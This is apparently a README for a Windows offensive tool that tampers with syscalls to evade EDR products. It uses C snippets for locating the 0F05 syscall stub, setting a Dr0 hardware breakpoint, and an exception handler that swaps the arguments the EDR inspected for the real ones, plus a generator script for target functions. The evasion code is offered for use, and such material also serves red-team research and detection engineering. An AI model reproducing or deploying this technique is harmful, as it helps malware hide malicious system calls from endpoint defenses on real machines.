Tampering with syscalls.

1. Set a hardware breakpoint on the address of a syscall instruction which has the bytes 0f05 on the Dr0 register. We can locate the stub with this quick memory byte search.

BYTE stub[] = { 0x0F, 0x05 };
	for( unsigned int i = 0; i < (unsigned int)25; i++ )
	{
		if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
			return (LPVOID)((DWORD_PTR)function + i);
		}
	}

2. Make a call to this function with no arguments. The EDR will return us the SSN as our call is not malicious.
3. The EDR then returns flow to us.
4. We then hit our syscall breakpoint where we enter our previously registered exception handler.

SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );

5. This exception handler will disable the hardware breakpoint for Dr0 only if the Dr0 and RIP match.
6. If it is matching, it'll switch on the StatePointer, and get the corresponding arguments for this function.
7. It will then fix the arguments into the register, and stack.

switch( StatePointer ) {
case 0:
ExceptionInfo->ContextRecord->Rcx =
  (DWORD_PTR)((NtGetContextThread*)(StateArray[StatePointer].arguments))->ThreadHandle;
  ExceptionInfo->ContextRecord->Rdx =
	(DWORD_PTR)((NtGetContextThread*)(StateArray[StatePointer].arguments))->pContext;
// put your other states here.

Howto

You need to implement your function arguments and setup the state. For example the arguments for NtGetContextThread in a structure.

typedef struct {
	HANDLE			ThreadHandle;
	PCONTEXT		pContext;
} NtGetContextThread;

Then make a global copy

NtGetContextThread pNtGetThreadContext;

Then add this to the state array in the position we will be calling it

{ 0 , &pNtGetThreadContext},

Then in the exception handler you need to fix arguments for the corresponding function.

It's possible to provide the EDR with fake telemetry, but that would take away the focus of what is being achieved here. I leave that to another day or a blog post.

Generation

To generate the required functions, use gen.py. This supports either:

• Comma separated functions

python3 gen.py NtOpenSection,NtMapViewOfSection,NtUnmapViewOfSection

• all keyword

For now, it only prints to the screen. However, templating is in-progress.

Limitations

There are a few functions we cannot set a HWBP on as these are used innately to set the HWBP. We can only easily spoof the first 4 function arguments R10, RDX, R8, R9 as these are the one's easy to replace. It is possible to do the remaining but I cannot be bothered frankly.

TamperingSyscall's Blog Post